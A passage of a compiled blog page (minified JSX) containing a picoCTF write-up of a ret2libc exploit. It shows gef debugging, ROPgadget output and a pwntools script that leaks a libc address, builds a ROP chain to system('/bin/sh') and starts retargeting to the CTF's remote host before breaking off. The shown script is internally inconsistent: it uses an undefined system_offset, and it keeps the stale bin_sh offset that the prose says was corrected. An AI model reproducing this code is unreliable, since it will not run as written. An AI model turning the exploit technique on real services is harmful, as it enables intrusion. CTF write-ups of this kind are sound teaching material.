",(0,l.jsx)(e.code,{children:"telescope"})," to display information around the next 64 lines of execution:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"telescope"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x00007ffe43f2a910"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"64"})]})})})}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591641/ari-io/writing/heres-a-libc/debugging-bin-sh-1_wkju16.png",alt:"debugging /bin/sh"})}),` `,(0,l.jsxs)(e.p,{children:["Hm, when the ",(0,l.jsx)(e.code,{children:"$rdi"})," register gets popped, we should see the value of ",(0,l.jsx)(e.code,{children:"/bin/sh"}),", but we're not seeing it here. This must mean we have our ",(0,l.jsx)(e.code,{children:"/bin/sh"})," address incorrect."]}),` `,(0,l.jsxs)(e.p,{children:["Instead of using that address, let's use the power of ",(0,l.jsx)(e.code,{children:"gef"})," to find ",(0,l.jsx)(e.code,{children:"/bin/sh"}),". Gef has an awesome feature using the keyword of ",(0,l.jsx)(e.code,{children:"grep"}),"! Let's ",(0,l.jsx)(e.code,{children:"grep"})," for the address of ",(0,l.jsx)(e.code,{children:"/bin/sh"})," in gef."]}),` `,(0,l.jsxs)(e.p,{children:["Now we see the offset we calculated earlier for ",(0,l.jsx)(e.code,{children:"/bin/sh"})," was incorrect. Instead of ",(0,l.jsx)(e.code,{children:"0x2b40fa"}),", when we calculate it in ",(0,l.jsx)(e.code,{children:"gdb"})," its offset value is ",(0,l.jsx)(e.code,{children:"0x1b40fa"}),"."]}),` `,(0,l.jsx)(e.p,{children:"Let's update our script to use this value instead:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"bin_sh_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"1b40fa"})]})})})}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591658/ari-io/writing/heres-a-libc/sigev-pre-rop_vm2lht.png",alt:"ROP introduction"})}),` `,(0,l.jsxs)(e.p,{children:["Hm... we're still hitting a ",(0,l.jsx)(e.code,{children:"SIGSEGV"})," error in the script. We're actually using our system's ",(0,l.jsx)(e.code,{children:"system()"})," in our machine's ",(0,l.jsx)(e.code,{children:"libc"})," library. As we're seeing this will throw a system error as the libraries are incompatible with each other. We need to realign our memory execution."]}),` `,(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.em,{children:"Sounds complex, right?"}),". We've actually already handled this case without even knowing it. Instead of being able to call the ",(0,l.jsx)(e.code,{children:"system()"})," function, we need to slide into it with our argument. We can use ROP programming to handle this for us!"]}),` `,(0,l.jsxs)(e.p,{children:["Let's find a ROP gadget that just calls ",(0,l.jsx)(e.code,{children:"ret"}),". Let's use the ",(0,l.jsx)(e.code,{children:"ROPgadget"})," command again and ",(0,l.jsx)(e.code,{children:"grep"})," for the first ",(0,l.jsx)(e.code,{children:"ret"})," gadget:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ROPgadget"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"--binary"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"vuln"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" | "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"grep"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'": ret"'})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x000000000040052e"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ret"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x0000000000400562"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ret"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x200a"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004007fd"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ret"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x8348"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x0000000000400552"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"retf"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x200a"})]})]})})}),` `,(0,l.jsx)(e.p,{children:"Great, let's add a gadget in our code and use that as a gadget in our payload:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"ret_instruction "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"40052e"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# So we can get rdi"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" junk,"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(pop_rdi),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# /bin/sh with system"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(bin_sh_address),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(ret_instruction), "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# <~ add this line"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(system_address),"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})})]})})}),` `,(0,l.jsx)(e.p,{children:"Let's see what this looks like in it's entirety:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" p64, process, u64, log"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"136"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"junk "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'A'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"pop_rdi "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000400913"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_in_got_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00601028"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"puts_in_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"back_to_main_fn "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400771"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" junk,"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(pop_rdi),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(setbuf_in_got_plt),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(puts_in_plt),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(back_to_main_fn)"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"''"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"join"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"sendline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"strip"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# readelf -s ./libc.so.6 | grep setbuf"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000088540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"-"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" setbuf_offset"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"base address of libc: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(base_address_of_libc)"}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"}"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"system_addr_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"4f4e0"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"system_address "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" system_offset"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"system address in libc: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(system\\"}),(0,l.jsx)(e.span,{style:{color:"#FFFFFF"},children:'_address)=}")'})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#E06C75",fontStyle:"italic"},children:"bin_sh_offset"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"002b40fa"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#E06C75",fontStyle:"italic"},children:"bin_sh_address"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" bin_sh_offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#E06C75",fontStyle:"italic"},children:"ret_instruction"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"40052e"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#E06C75",fontStyle:"italic"},children:"payload"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# So we can get rdi"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" junk,"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(pop_rdi),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# /bin/sh with system"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(bin_sh_address),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(ret_instruction), "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# <~ add this line"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(system_address),"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#E06C75",fontStyle:"italic"},children:"payload"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"''"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"join"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"sendline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsx)(e.p,{children:"With our entire script written, let's execute our script one more time."}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591652/ari-io/writing/heres-a-libc/locally-working_qhc9dc.png",alt:"Working locally"})}),` `,(0,l.jsxs)(e.h3,{id:"get-the-flag-aka-running-remotely",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#get-the-flag-aka-running-remotely",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Get the flag (aka running remotely)"]}),` `,(0,l.jsxs)(e.p,{children:["Now that we can verify it to be running locally, will it work remotely? Let's try it and we only need a single line change. Instead of calling the binary ",(0,l.jsx)(e.code,{children:"./vuln"})," in our script, let's change it to a remote shell which is given to us by picoCTF:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" p64, process, u64, log"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"remote"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'mercury.picoctf.net'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:", 